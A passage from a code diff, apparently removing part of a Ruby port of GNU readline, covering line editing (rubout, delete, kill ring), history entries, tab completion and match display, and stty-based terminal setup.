_rl_update_final calls rl_crlf(). - if (@rl_erase_empty_line && @rl_point == 0 && @rl_end == 0) - return 0 - end - if @readline_echoing_p - _rl_update_final() - end - 0 - end - - # What to do for some uppercase characters, like meta characters, - # and some characters appearing in emacs_ctlx_keymap. This function - # is just a stub, you bind keys to it and the code in _rl_dispatch () - # is special cased. - def rl_do_lowercase_version(ignore1, ignore2) - 0 - end - - def rl_character_len(c, pos) - if (meta_char(c)) - return ((!@_rl_output_meta_chars) ? 4 : 1) - end - if (c == "\t") - return (((pos | 7) + 1) - pos) - end - if (ctrl_char(c) || c == RUBOUT) - return (2) - end - - return ((isprint(c)) ? 1 : 2) - end - - # This is different from what vi does, so the code's not shared. Emacs - # rubout in overwrite mode has one oddity: it replaces a control - # character that's displayed as two characters (^X) with two spaces. - def _rl_overwrite_rubout(count, key) - if (@rl_point == 0) - rl_ding() - return 1 - end - - opoint = @rl_point - - # L == number of spaces to insert - l = 0 - count.times do - rl_backward_char(1, key) - l += rl_character_len(@rl_line_buffer[@rl_point,1], @rl_point) # not exactly right - end - - rl_begin_undo_group() - - if (count > 1 || @rl_explicit_arg) - rl_kill_text(opoint, @rl_point) - else - rl_delete_text(opoint, @rl_point) - end - # Emacs puts point at the beginning of the sequence of spaces. - if (@rl_point < @rl_end) - opoint = @rl_point - _rl_insert_char(l, ' ') - @rl_point = opoint - end - - rl_end_undo_group() - - 0 - end - - # Rubout the character behind point. - def rl_rubout(count, key) - if (count < 0) - return (rl_delete(-count, key)) - end - if (@rl_point==0) - rl_ding() - return -1 - end - - if (@rl_insert_mode == RL_IM_OVERWRITE) - return (_rl_overwrite_rubout(count, key)) - end - _rl_rubout_char(count, key) - end - - - # Quick redisplay hack when erasing characters at the end of the line. - def _rl_erase_at_end_of_line(l) - _rl_backspace(l) - @rl_outstream.write(' '*l) - _rl_backspace(l) - @_rl_last_c_pos -= l - @visible_line[@_rl_last_c_pos,l] = 0.chr * l - @rl_display_fixed = true if !@rl_display_fixed - end - - def _rl_rubout_char(count, key) - # Duplicated code because this is called from other parts of the library. - if (count < 0) - return (rl_delete(-count, key)) - end - if (@rl_point == 0) - rl_ding() - return -1 - end - - orig_point = @rl_point - if (count > 1 || @rl_explicit_arg) - rl_backward_char(count, key) - rl_kill_text(orig_point, @rl_point) - elsif (@rl_byte_oriented) - c = @rl_line_buffer[@rl_point-=1,1] - rl_delete_text(@rl_point, orig_point) - # The erase-at-end-of-line hack is of questionable merit now. - if (@rl_point == @rl_end && isprint(c) && @_rl_last_c_pos!=0) - l = rl_character_len(c, @rl_point) - _rl_erase_at_end_of_line(l) - end - else - @rl_point = _rl_find_prev_mbchar(@rl_line_buffer, @rl_point, MB_FIND_NONZERO) - rl_delete_text(@rl_point, orig_point) - end - - 0 - end - - # Delete the character under the cursor. Given a numeric argument, - # kill that many characters instead. - def rl_delete(count, key) - if (count < 0) - return (_rl_rubout_char(-count, key)) - end - if (@rl_point == @rl_end) - rl_ding() - return -1 - end - - if (count > 1 || @rl_explicit_arg) - xpoint = @rl_point - rl_forward_byte(count, key) - - rl_kill_text(xpoint, @rl_point) - @rl_point = xpoint - else - if !@rl_byte_oriented - xpoint =_rl_find_next_mbchar(@rl_line_buffer, @rl_point, 1, MB_FIND_NONZERO) - else - xpoint = @rl_point + 1 - end - - rl_delete_text(@rl_point, xpoint) - end - 0 - end - - # Add TEXT to the kill ring, allocating a new kill ring slot as necessary. - # This uses TEXT directly, so the caller must not free it. If APPEND is - # non-zero, and the last command was a kill, the text is appended to the - # current kill ring slot, otherwise prepended. - def _rl_copy_to_kill_ring(text, append) - # First, find the slot to work with. - if (!@_rl_last_command_was_kill) - # Get a new slot. - if @rl_kill_ring.nil? - # If we don't have any defined, then make one. - @rl_kill_ring_length = 1 - @rl_kill_ring = Array.new(@rl_kill_ring_length+1) - @rl_kill_ring[slot = 0] = nil - else - # We have to add a new slot on the end, unless we have - # exceeded the max limit for remembering kills. - slot = @rl_kill_ring_length - if (slot == @rl_max_kills) - @rl_kill_ring[0,slot] = @rl_kill_ring[1,slot] - else - slot = @rl_kill_ring_length += 1 - end - @rl_kill_ring[slot-=1] = nil - end - else - slot = @rl_kill_ring_length - 1 - end - - # If the last command was a kill, prepend or append. - if (@_rl_last_command_was_kill && @rl_editing_mode != @vi_mode) - old = @rl_kill_ring[slot] - - if (append) - new = old + text - else - new = text + old - end - old = nil - text = nil - @rl_kill_ring[slot] = new - else - @rl_kill_ring[slot] = text - end - - @rl_kill_index = slot - 0 - end - - # The way to kill something. This appends or prepends to the last - # kill, if the last command was a kill command. if FROM is less - # than TO, then the text is appended, otherwise prepended. If the - # last command was not a kill command, then a new slot is made for - # this kill. - def rl_kill_text(from, to) - # Is there anything to kill? - if (from == to) - @_rl_last_command_was_kill = true if !@_rl_last_command_was_kill - return 0 - end - text = rl_copy_text(from, to) - - # Delete the copied text from the line. - rl_delete_text(from, to) - _rl_copy_to_kill_ring(text, from < to) - @_rl_last_command_was_kill = true if !@_rl_last_command_was_kill - 0 - end - - # This does what C-w does in Unix. We can't prevent people from - # using behaviour that they expect. - def rl_unix_word_rubout(count, key) - if (@rl_point == 0) - rl_ding() - else - orig_point = @rl_point - if (count <= 0) - count = 1 - end - - while (count>0) - while (@rl_point>0 && whitespace(@rl_line_buffer[@rl_point - 1,1])) - @rl_point-=1 - end - - while (@rl_point>0 && !whitespace(@rl_line_buffer[@rl_point - 1,1])) - @rl_point-=1 - end - count -= 1 - end - - rl_kill_text(orig_point, @rl_point) - if (@rl_editing_mode == @emacs_mode) - @rl_mark = @rl_point - end - end - 0 - end - - # This deletes one filename component in a Unix pathname. That is, it - # deletes backward to directory separator (`/') or whitespace. - def rl_unix_filename_rubout(count, key) - if (@rl_point == 0) - rl_ding() - else - orig_point = @rl_point - if (count <= 0) - count = 1 - end - - while (count>0) - - c = @rl_line_buffer[@rl_point - 1,1] - while (@rl_point>0 && (whitespace(c) || c == '/')) - @rl_point-=1 - c = @rl_line_buffer[@rl_point - 1,1] - end - - while (@rl_point>0 && !whitespace(c) && c != '/') - @rl_point-=1 - c = @rl_line_buffer[@rl_point - 1,1] - end - count -= 1 - end - - rl_kill_text(orig_point, @rl_point) - if (@rl_editing_mode == @emacs_mode) - @rl_mark = @rl_point - end - end - 0 - end - - # Delete the character under the cursor, unless the insertion - # point is at the end of the line, in which case the character - # behind the cursor is deleted. COUNT is obeyed and may be used - # to delete forward or backward that many characters. - def rl_rubout_or_delete(count, key) - if (@rl_end != 0 && @rl_point == @rl_end) - return (_rl_rubout_char(count, key)) - else - return (rl_delete(count, key)) - end - end - - # Delete all spaces and tabs around point. - def rl_delete_horizontal_space(count, ignore) - start = @rl_point - - while (@rl_point!=0 && whitespace(@rl_line_buffer[@rl_point - 1])) - @rl_point-=1 - end - start = @rl_point - while (@rl_point < @rl_end && whitespace(@rl_line_buffer[@rl_point])) - @rl_point+=1 - end - if (start != @rl_point) - rl_delete_text(start, @rl_point) - @rl_point = start - end - if (@rl_point < 0) - @rl_point = 0 - end - 0 - end - - # List the possible completions. See description of rl_complete (). - def rl_possible_completions(ignore, invoking_key) - rl_complete_internal('?') - end - - # Like the tcsh editing function delete-char-or-list. The eof character - # is caught before this is invoked, so this really does the same thing as - # delete-char-or-list-or-eof, as long as it's bound to the eof character. - def rl_delete_or_show_completions(count, key) - if (@rl_end != 0 && @rl_point == @rl_end) - return (rl_possible_completions(count, key)) - else - return (rl_delete(count, key)) - end - end - - # Turn the current line into a comment in shell history. - # A K*rn shell style function. - def rl_insert_comment(count, key) - rl_beg_of_line(1, key) - @rl_comment_text = @_rl_comment_begin ? @_rl_comment_begin : '#' - - if (!@rl_explicit_arg) - rl_insert_text(@rl_comment_text) - else - @rl_comment_len = @rl_comment_text.length - if @rl_comment_text[0,@rl_comment_len] == @rl_line_buffer[0,@rl_comment_len] - rl_delete_text(@rl_point, @rl_point + @rl_comment_len) - else - rl_insert_text(@rl_comment_text) - end - end - - send(@rl_redisplay_function) - rl_newline(1, "\n") - 0 - end - - def alloc_history_entry(string, ts) - temp = Struct.new(:line,:data,:timestamp).new - temp.line = string ? string.delete(0.chr) : string - temp.data = nil - temp.timestamp = ts - - return temp - end - - def hist_inittime() - t = Time.now.to_i - ts = "X%u" % t - ret = ts.dup - ret[0,1] = @history_comment_char - - ret - end - - # Place STRING at the end of the history list. The data field - # is set to NULL. - def add_history(string) - if (@history_stifled && (@history_length == @history_max_entries)) - # If the history is stifled, and history_length is zero, - # and it equals history_max_entries, we don't save items. - return if (@history_length == 0) - @the_history.shift - else - if @the_history.nil? - @the_history = [] - @history_length = 1 - else - @history_length+=1 - end - end - - temp = alloc_history_entry(string, hist_inittime()) - @the_history[@history_length] = nil - @the_history[@history_length - 1] = temp - end - - def using_history() - @history_offset = @history_length - end - - # Set default values for readline word completion. These are the variables - # that application completion functions can change or inspect. - def set_completion_defaults(what_to_do) - # Only the completion entry function can change these. - @rl_filename_completion_desired = false - @rl_filename_quoting_desired = true - @rl_completion_type = what_to_do - @rl_completion_suppress_append = @rl_completion_suppress_quote = false - - # The completion entry function may optionally change this. - @rl_completion_mark_symlink_dirs = @_rl_complete_mark_symlink_dirs - end - - def _rl_find_completion_word() - _end = @rl_point - found_quote = 0 - delimiter = 0.chr - quote_char = 0.chr - - brkchars = nil - if @rl_completion_word_break_hook - brkchars = send(@rl_completion_word_break_hook) - end - if brkchars.nil? - brkchars = @rl_completer_word_break_characters - end - if (@rl_completer_quote_characters) - # We have a list of characters which can be used in pairs to - # quote substrings for the completer. Try to find the start - # of an unclosed quoted substring. - # FOUND_QUOTE is set so we know what kind of quotes we found. - scan = 0 - pass_next = false - while scan < _end - if (pass_next) - pass_next = false - next - end - - # Shell-like semantics for single quotes -- don't allow backslash - # to quote anything in single quotes, especially not the closing - # quote. If you don't like this, take out the check on the value - # of quote_char. - if (quote_char != "'" && @rl_line_buffer[scan,1] == "\\") - pass_next = true - found_quote |= RL_QF_BACKSLASH - next - end - - if (quote_char != 0.chr) - # Ignore everything until the matching close quote char. - if (@rl_line_buffer[scan,1] == quote_char) - # Found matching close. Abandon this substring. - quote_char = 0.chr - @rl_point = _end - end - - elsif (@rl_completer_quote_characters.include?(@rl_line_buffer[scan,1])) - - # Found start of a quoted substring. - quote_char = @rl_line_buffer[scan,1] - @rl_point = scan + 1 - # Shell-like quoting conventions. - if (quote_char == "'") - found_quote |= RL_QF_SINGLE_QUOTE - elsif (quote_char == '"') - found_quote |= RL_QF_DOUBLE_QUOTE - else - found_quote |= RL_QF_OTHER_QUOTE - end - end - if !@rl_byte_oriented - scan = _rl_find_next_mbchar(@rl_line_buffer, scan, 1, MB_FIND_ANY) - else - scan += 1 - end - end - end - - if (@rl_point == _end && quote_char == 0.chr) - - # We didn't find an unclosed quoted substring upon which to do - # completion, so use the word break characters to find the - # substring on which to complete. - - - while (@rl_point = !@rl_byte_oriented ? - _rl_find_prev_mbchar(@rl_line_buffer, @rl_point, MB_FIND_ANY):(@rl_point-1))>0 - - scan = @rl_line_buffer[@rl_point,1] - if !brkchars.include?(scan) - next - end - # Call the application-specific function to tell us whether - # this word break character is quoted and should be skipped. - if (@rl_char_is_quoted_p && found_quote!=0 && - send(@rl_char_is_quoted_p,@rl_line_buffer, @rl_point)) - next - end - - # Convoluted code, but it avoids an n^2 algorithm with calls - # to char_is_quoted. - break - end - end - - # If we are at an unquoted word break, then advance past it. - scan = @rl_line_buffer[@rl_point,1] - - # If there is an application-specific function to say whether or not - # a character is quoted and we found a quote character, let that - # function decide whether or not a character is a word break, even - # if it is found in rl_completer_word_break_characters. Don't bother - # if we're at the end of the line, though. - if (scan != 0.chr) - if (@rl_char_is_quoted_p) - isbrk = (found_quote == 0 || - !send(@rl_char_is_quoted_p,@rl_line_buffer, @rl_point)) && - brkchars.include?(scan) - else - isbrk = brkchars.include?(scan) - end - - if (isbrk) - # If the character that caused the word break was a quoting - # character, then remember it as the delimiter. - if (@rl_basic_quote_characters && - @rl_basic_quote_characters.include?(scan) && - (_end - @rl_point) > 1) - delimiter = scan - end - - # If the character isn't needed to determine something special - # about what kind of completion to perform, then advance past it. - if (@rl_special_prefixes.nil? || !@rl_special_prefixes.include?(scan) ) - @rl_point+=1 - end - end - end - - return [quote_char,found_quote!=0,delimiter] - end - - def gen_completion_matches(text, start, _end, our_func, found_quote, quote_char) - @rl_completion_found_quote = found_quote - @rl_completion_quote_character = quote_char - - # If the user wants to TRY to complete, but then wants to give - # up and use the default completion function, they set the - # variable rl_attempted_completion_function. - if (@rl_attempted_completion_function) - matches = Readline.send(@rl_attempted_completion_function,text, start, _end) - if (matches || @rl_attempted_completion_over) - @rl_attempted_completion_over = false - return (matches) - end - end - # XXX -- filename dequoting moved into rl_filename_completion_function - - matches = rl_completion_matches(text, our_func) - matches - end - - # Filter out duplicates in MATCHES. This frees up the strings in - # MATCHES. - def remove_duplicate_matches(matches) - # Sort the items. - # Sort the array without matches[0], since we need it to - # stay in place no matter what. - if matches.length>0 - matches[1..-2] = matches[1..-2].sort.uniq - end - matches - end - - def postprocess_matches(matchesp, matching_filenames) - matches = matchesp - - return 0 if matches.nil? - - # It seems to me that in all the cases we handle we would like - # to ignore duplicate possiblilities. Scan for the text to - # insert being identical to the other completions. - if (@rl_ignore_completion_duplicates) - remove_duplicate_matches(matches) - end - - # If we are matching filenames, then here is our chance to - # do clever processing by re-examining the list. Call the - # ignore function with the array as a parameter. It can - # munge the array, deleting matches as it desires. - if (@rl_ignore_some_completions_function && matching_filenames) - nmatch = matches.length - send(@rl_ignore_some_completions_function,matches) - if (matches.nil? || matches[0].nil?) - matches = nil - return 0 - else - # If we removed some matches, recompute the common prefix. - i = matches.length - if (i > 1 && i < nmatch) - t = matches[0] - compute_lcd_of_matches(matches, i - 1, t) - end - end - end - - matchesp = matches - 1 - end - - def insert_all_matches(matches, point, qc) - rl_begin_undo_group() - # remove any opening quote character; make_quoted_replacement will add - # it back. - if (qc && qc.length>0 && point>0 && @rl_line_buffer[point - 1,1] == qc) - point-=1 - end - rl_delete_text(point, @rl_point) - @rl_point = point - if (matches[1]) - i = 1 - while(matches[i]) - rp = make_quoted_replacement(matches[i], SINGLE_MATCH, qc) - rl_insert_text(rp) - rl_insert_text(" ") - if (rp != matches[i]) - rp = nil - end - i += 1 - end - else - rp = make_quoted_replacement(matches[0], SINGLE_MATCH, qc) - rl_insert_text(rp) - rl_insert_text(" ") - if (rp != matches[0]) - rp = nil - end - end - rl_end_undo_group() - end - - def make_quoted_replacement(match, mtype, qc) - # If we are doing completion on quoted substrings, and any matches - # contain any of the completer_word_break_characters, then auto- - # matically prepend the substring with a quote character (just pick - # the first one from the list of such) if it does not already begin - # with a quote string. FIXME: Need to remove any such automatically - # inserted quote character when it no longer is necessary, such as - # if we change the string we are completing on and the new set of - # matches don't require a quoted substring. - replacement = match - - should_quote = match && @rl_completer_quote_characters && - @rl_filename_completion_desired && - @rl_filename_quoting_desired - - if (should_quote) - should_quote = should_quote && (qc.nil? || qc == 0.chr || - (@rl_completer_quote_characters && @rl_completer_quote_characters.include?(qc))) - end - - if (should_quote) - - # If there is a single match, see if we need to quote it. - # This also checks whether the common prefix of several - # matches needs to be quoted. - should_quote = @rl_filename_quote_characters ? - !!match[@rl_filename_quote_characters] : - false - - do_replace = should_quote ? mtype : NO_MATCH - # Quote the replacement, since we found an embedded - # word break character in a potential match. - if (do_replace != NO_MATCH && @rl_filename_quoting_function) - replacement = send(@rl_filename_quoting_function,match, do_replace, qc) - end - end - replacement - end - - - def insert_match(match, start, mtype, qc) - oqc = qc - replacement = make_quoted_replacement(match, mtype, qc) - - # Now insert the match. - if (replacement) - # Don't double an opening quote character. - if (qc && qc.length>0 && start!=0 && @rl_line_buffer[start - 1,1] == qc && - replacement[0,1] == qc) - start-=1 - # If make_quoted_replacement changed the quoting character, remove - # the opening quote and insert the (fully-quoted) replacement. - elsif (qc && (qc != oqc) && start!=0 && @rl_line_buffer[start - 1,1] == oqc && - replacement[0,1] != oqc) - start-=1 - end - _rl_replace_text(replacement, start, @rl_point - 1) - if (replacement != match) - replacement = nil - end - end - end - - # Return the portion of PATHNAME that should be output when listing - # possible completions. If we are hacking filename completion, we - # are only interested in the basename, the portion following the - # final slash. Otherwise, we return what we were passed. Since - # printing empty strings is not very informative, if we're doing - # filename completion, and the basename is the empty string, we look - # for the previous slash and return the portion following that. If - # there's no previous slash, we just return what we were passed. - def printable_part(pathname) - if (!@rl_filename_completion_desired) # don't need to do anything - return (pathname) - end - - temp = pathname.rindex('/') - return pathname if temp.nil? - File.basename(pathname) - end - - def fnprint(to_print) - printed_len = 0 - - case @encoding - when 'E' - arr = to_print.scan(/./me) - when 'S' - arr = to_print.scan(/./ms) - when 'U' - arr = to_print.scan(/./mu) - when 'X' - arr = to_print.dup.force_encoding(@encoding_name).chars - else - arr = to_print.scan(/./m) - end - - arr.each do |s| - if(ctrl_char(s)) - @rl_outstream.write('^'+(s[0].ord|0x40).chr.upcase) - printed_len += 2 - elsif s == RUBOUT - @rl_outstream.write('^?') - printed_len += 2 - else - @rl_outstream.write(s) - if @encoding=='U' - printed_len += s.unpack('U').first >= 0x1000 ? 2 : 1 - elsif @encoding=='X' - printed_len += s.ord >= 0x1000 ? 2 : 1 - else - printed_len += s.length - end - end - - end - - printed_len - end - - def _rl_internal_pager(lines) - @rl_outstream.puts "--More--" - @rl_outstream.flush - i = get_y_or_n(1) - _rl_erase_entire_line() - if (i == 0) - return -1 - elsif (i == 2) - return (lines - 1) - else - return 0 - end - end - - def path_isdir(filename) - return File.directory?(filename) - end - - # Return the character which best describes FILENAME. - # `@' for symbolic links - # `/' for directories - # `*' for executables - # `=' for sockets - # `|' for FIFOs - # `%' for character special devices - # `#' for block special devices - def stat_char(filename) - return nil if !File.exists?(filename) - - return '/' if File.directory?(filename) - return '%' if File.chardev?(filename) - return '#' if File.blockdev?(filename) - return '@' if File.symlink?(filename) - return '=' if File.socket?(filename) - return '|' if File.pipe?(filename) - return '*' if File.executable?(filename) - nil - end - - - # Output TO_PRINT to rl_outstream. If VISIBLE_STATS is defined and we - # are using it, check for and output a single character for `special' - # filenames. Return the number of characters we output. - def print_filename(to_print, full_pathname) - extension_char = 0.chr - printed_len = fnprint(to_print) - - if (@rl_filename_completion_desired && (@rl_visible_stats || @_rl_complete_mark_directories)) - - # If to_print != full_pathname, to_print is the basename of the - # path passed. In this case, we try to expand the directory - # name before checking for the stat character. - if (to_print != full_pathname) - - if full_pathname.nil? || full_pathname.length==0 - dn = '/' - else - dn = File.dirname(full_pathname) - end - s = File.expand_path(dn) - if (@rl_directory_completion_hook) - send(@rl_directory_completion_hook,s) - end - - slen = s.length - tlen = to_print.length - new_full_pathname = s.dup - if (s[-1,1] == '/' ) - slen-=1 - else - new_full_pathname[slen,1] = '/' - end - new_full_pathname[slen .. -1] = '/' + to_print - - if (@rl_visible_stats) - extension_char = stat_char(new_full_pathname) - else - if (path_isdir(new_full_pathname)) - extension_char = '/' - end - end - - new_full_pathname = nil - - else - - s = File.expand_path(full_pathname) - if (@rl_visible_stats) - extension_char = stat_char(s) - else - if (path_isdir(s)) - extension_char = '/' - end - end - end - s = nil - if (extension_char) - @rl_outstream.write(extension_char) - printed_len+=1 - end - end - - printed_len - end - - # The user must press "y" or "n". Non-zero return means "y" pressed. - def get_y_or_n(for_pager) - while(true) - - rl_setstate(RL_STATE_MOREINPUT) - c = rl_read_key() - rl_unsetstate(RL_STATE_MOREINPUT) - - if (c == 'y' || c == 'Y' || c == ' ') - return (1) - end - if (c == 'n' || c == 'N' || c == RUBOUT) - return (0) - end - if (c == ABORT_CHAR) - _rl_abort_internal() - end - if (for_pager && (c == NEWLINE || c == RETURN)) - return (2) - end - if (for_pager && (c == 'q' || c == 'Q')) - return (0) - end - rl_ding() - end - end - - # Compute width of STRING when displayed on screen by print_filename - def fnwidth(string) - left = string.length + 1 - width = pos = 0 - while (string[pos] && string[pos,1] != 0.chr) - if (ctrl_char(string[0,1]) || string[0,1] == RUBOUT) - width += 2 - pos+=1 - else - case @encoding - when 'E' - wc = string[pos,left-pos].scan(/./me)[0] - bytes = wc.length - tempwidth = wc.length - when 'S' - wc = string[pos,left-pos].scan(/./ms)[0] - bytes = wc.length - tempwidth = wc.length - when 'U' - wc = string[pos,left-pos].scan(/./mu)[0] - bytes = wc.length - tempwidth = wc.unpack('U').first >= 0x1000 ? 2 : 1 - when 'X' - wc = string[pos,left-pos].force_encoding(@encoding_name)[0] - bytes = wc.bytesize - tempwidth = wc.ord >= 0x1000 ? 2 : 1 - else - wc = string[pos,left-pos].scan(/./m)[0] - bytes = wc.length - tempwidth = wc.length - end - clen = bytes - pos += clen - w = tempwidth - width += (w >= 0) ? w : 1 - end - end - width - end - - # Display MATCHES, a list of matching filenames in argv format. This - # handles the simple case -- a single match -- first. If there is more - # than one match, we compute the number of strings in the list and the - # length of the longest string, which will be needed by the display - # function. If the application wants to handle displaying the list of - # matches itself, it sets RL_COMPLETION_DISPLAY_MATCHES_HOOK to the - # address of a function, and we just call it. If we're handling the - # display ourselves, we just call rl_display_match_list. We also check - # that the list of matches doesn't exceed the user-settable threshold, - # and ask the user if he wants to see the list if there are more matches - # than RL_COMPLETION_QUERY_ITEMS. - def display_matches(matches) - # Move to the last visible line of a possibly-multiple-line command. - _rl_move_vert(@_rl_vis_botlin) - - # Handle simple case first. What if there is only one answer? - if matches[1].nil? - temp = printable_part(matches[0]) - rl_crlf() - print_filename(temp, matches[0]) - rl_crlf() - rl_forced_update_display() - @rl_display_fixed = true - return - end - - # There is more than one answer. Find out how many there are, - # and find the maximum printed length of a single entry. - max = 0 - i = 1 - while(matches[i]) - temp = printable_part(matches[i]) - len = fnwidth(temp) - - if (len > max) - max = len - end - i += 1 - end - len = i - 1 - - # If the caller has defined a display hook, then call that now. - if (@rl_completion_display_matches_hook) - send(@rl_completion_display_matches_hook,matches, len, max) - return - end - - # If there are many items, then ask the user if she really wants to - # see them all. - if (@rl_completion_query_items > 0 && len >= @rl_completion_query_items) - - rl_crlf() - @rl_outstream.write("Display all #{len} possibilities? (y or n)") - @rl_outstream.flush - if (get_y_or_n(false)==0) - rl_crlf() - - rl_forced_update_display() - @rl_display_fixed = true - - return - end - end - - rl_display_match_list(matches, len, max) - - rl_forced_update_display() - @rl_display_fixed = true - end - - # Complete the word at or before point. - # WHAT_TO_DO says what to do with the completion. - # `?' means list the possible completions. - # TAB means do standard completion. - # `*' means insert all of the possible completions. - # `!' means to do standard completion, and list all possible completions if - # there is more than one. - # `@' means to do standard completion, and list all possible completions if - # there is more than one and partial completion is not possible. - def rl_complete_internal(what_to_do) - rl_setstate(RL_STATE_COMPLETING) - set_completion_defaults(what_to_do) - - saved_line_buffer = @rl_line_buffer ? @rl_line_buffer.delete(0.chr) : nil - our_func = @rl_completion_entry_function ? - @rl_completion_entry_function : :rl_filename_completion_function - # We now look backwards for the start of a filename/variable word. - _end = @rl_point - found_quote = false - delimiter = 0.chr - quote_char = 0.chr - - if (@rl_point!=0) - # This (possibly) changes rl_point. If it returns a non-zero char, - # we know we have an open quote. - quote_char,found_quote,delimiter = _rl_find_completion_word() - end - - start = @rl_point - @rl_point = _end - - text = rl_copy_text(start, _end) - matches = gen_completion_matches(text, start, _end, our_func, found_quote, quote_char) - # nontrivial_lcd is set if the common prefix adds something to the word - # being completed. - nontrivial_lcd = !!(matches && text != matches[0]) - text = nil - if matches.nil? - rl_ding() - saved_line_buffer = nil - @completion_changed_buffer = false - rl_unsetstate(RL_STATE_COMPLETING) - return 0 - end - - # If we are matching filenames, the attempted completion function will - # have set rl_filename_completion_desired to a non-zero value. The basic - # rl_filename_completion_function does this. - i = @rl_filename_completion_desired - if (postprocess_matches(matches, i) == 0) - rl_ding() - saved_line_buffer = nil - @completion_changed_buffer = false - rl_unsetstate(RL_STATE_COMPLETING) - return 0 - end - - case (what_to_do) - - when TAB,'!','@' - # Insert the first match with proper quoting. - if (matches[0]) - insert_match(matches[0], start, matches[1] ? MULT_MATCH : SINGLE_MATCH, quote_char) - end - # If there are more matches, ring the bell to indicate. - # If we are in vi mode, Posix.2 says to not ring the bell. - # If the `show-all-if-ambiguous' variable is set, display - # all the matches immediately. Otherwise, if this was the - # only match, and we are hacking files, check the file to - # see if it was a directory. If so, and the `mark-directories' - # variable is set, add a '/' to the name. If not, and we - # are at the end of the line, then add a space. - if (matches[1]) - if (what_to_do == '!') - display_matches(matches) - elsif (what_to_do == '@') - if (!nontrivial_lcd) - display_matches(matches) - end - elsif (@rl_editing_mode != @vi_mode) - rl_ding() # There are other matches remaining. - end - else - append_to_match(matches[0], delimiter, quote_char, nontrivial_lcd) - end - when '*' - insert_all_matches(matches, start, quote_char) - when '?' - display_matches(matches) - else - $stderr.write("\r\nreadline: bad value #{what_to_do} for what_to_do in rl_complete\n") - rl_ding() - saved_line_buffer = nil - rl_unsetstate(RL_STATE_COMPLETING) - return 1 - end - - matches = nil - - # Check to see if the line has changed through all of this manipulation. - if (saved_line_buffer) - @completion_changed_buffer = @rl_line_buffer.delete(0.chr) != saved_line_buffer - saved_line_buffer = nil - end - - rl_unsetstate(RL_STATE_COMPLETING) - 0 - end - - # Complete the word at or before point. You have supplied the function - # that does the initial simple matching selection algorithm (see - # rl_completion_matches ()). The default is to do filename completion. - def rl_complete(ignore, invoking_key) - if (@rl_inhibit_completion) - return (_rl_insert_char(ignore, invoking_key)) - elsif (@rl_last_func == :rl_complete && !@completion_changed_buffer) - return (rl_complete_internal('?')) - elsif (@_rl_complete_show_all) - return (rl_complete_internal('!')) - elsif (@_rl_complete_show_unmodified) - return (rl_complete_internal('@')) - else - return (rl_complete_internal(TAB)) - end - end - - # Return the history entry which is logically at OFFSET in the history array. - # OFFSET is relative to history_base. - def history_get(offset) - local_index = offset - @history_base - return (local_index >= @history_length || local_index < 0 || @the_history.nil?) ? - nil : @the_history[local_index] - end - - def rl_replace_from_history(entry, flags) - # Can't call with `1' because rl_undo_list might point to an undo list - # from a history entry, just like we're setting up here. - rl_replace_line(entry.line, false) - @rl_undo_list = entry.data - @rl_point = @rl_end - @rl_mark = 0 - - if (@rl_editing_mode == @vi_mode) - @rl_point = 0 - @rl_mark = @rl_end - end - end - - # Remove history element WHICH from the history. The removed - # element is returned to you so you can free the line, data, - # and containing structure. - def remove_history(which) - if (which < 0 || which >= @history_length || @history_length == 0 || @the_history.nil?) - return nil - end - return_value = @the_history[which] - @the_history.delete_at(which) - @history_length-=1 - return_value - end - - def block_sigint() - return if @sigint_blocked - #@sigint_proc = Signal.trap("INT","IGNORE") - @sigint_blocked = true - end - - def release_sigint() - return if !@sigint_blocked - #Signal.trap("INT",@sigint_proc) - @sigint_blocked = false - end - - def save_tty_chars() - @_rl_last_tty_chars = @_rl_tty_chars - h = Hash[*`stty -a`.scan(/(\w+) = ([^;]+);/).flatten] - h.each {|k,v| v.gsub!(/\^(.)/){($1[0].ord ^ ((?a..?z).include?($1[0]) ? 0x60 : 0x40)).chr}} - @_rl_tty_chars.t_erase = h['erase'] - @_rl_tty_chars.t_kill = h['kill'] - @_rl_tty_chars.t_intr = h['intr'] - @_rl_tty_chars.t_quit = h['quit'] - @_rl_tty_chars.t_start = h['start'] - @_rl_tty_chars.t_stop = h['stop'] - @_rl_tty_chars.t_eof = h['eof'] - @_rl_tty_chars.t_eol = "\n" - @_rl_tty_chars.t_eol2 = h['eol2'] - @_rl_tty_chars.t_susp = h['susp'] - @_rl_tty_chars.t_dsusp = h['dsusp'] - @_rl_tty_chars.t_reprint = h['rprnt'] - @_rl_tty_chars.t_flush = h['flush'] - @_rl_tty_chars.t_werase = h['werase'] - @_rl_tty_chars.t_lnext = h['lnext'] - @_rl_tty_chars.t_status = -1 - @otio = `stty -g` - end - - def _rl_bind_tty_special_chars(kmap) - kmap[@_rl_tty_chars.t_erase] = :rl_rubout - kmap[@_rl_tty_chars.t_kill] = :rl_unix_line_discard - kmap[@_rl_tty_chars.t_werase] = :rl_unix_word_rubout - kmap[@_rl_tty_chars.t_lnext] = :rl_quoted_insert - end - - def prepare_terminal_settings(meta_flag) - @readline_echoing_p = (`stty -a`.scan(/-*echo\b/).first == 'echo') - - # First, the basic settings to put us into character-at-a-time, no-echo - # input mode. - setting = " -echo -icrnl cbreak" - - # If this terminal doesn't care how the 8th bit is used, then we can - # use it for the meta-key. If only one of even or odd parity is - # specified, then the terminal is using parity, and we cannot. - if (`stty -a`.scan(/-parenb\b/).first == '-parenb') - setting << " pass8" - end - - setting << " -ixoff" - - rl_bind_key(@_rl_tty_chars.t_start, :rl_restart_output) - @_rl_eof_char = @_rl_tty_chars.t_eof - - #setting << " -isig" - - `stty #{setting}` - end - - def _rl_control_keypad(on) - if on && @_rl_term_ks - @_rl_out_stream.write(@_rl_term_ks) - elsif !on && @_rl_term_ke - @_rl_out_stream.write(@_rl_term_ke) - end - end - - # Rebind all of the tty special chars that readline worries about back - # to self-insert. Call this before saving the current terminal special - # chars with save_tty_chars(). This only works on POSIX termios or termio - # systems. - def rl_tty_unset_default_bindings(kmap) - # Don't bother before we've saved the tty special chars at least once. - return if (!rl_isstate(RL_STATE_TTYCSAVED)) - - kmap[@_rl_tty_chars.t_erase] = :rl_insert - kmap[@_rl_tty_chars.t_kill] = :rl_insert - kmap[@_rl_tty_chars.t_lnext] = :rl_insert - kmap[@_rl_tty_chars.t_werase] = :rl_insert - end - - def rl_prep_terminal(meta_flag) - if no_terminal? - @readline_echoing_p = true - return - end - - return if (@terminal_prepped) - - # Try to keep this function from being INTerrupted. - block_sigint() - - if (@_rl_bind_stty_chars) - # If editing in vi mode, make sure we restore the bindings in the - # insertion keymap no matter what keymap we ended up in. - if (@rl_editing_mode == @vi_mode) - 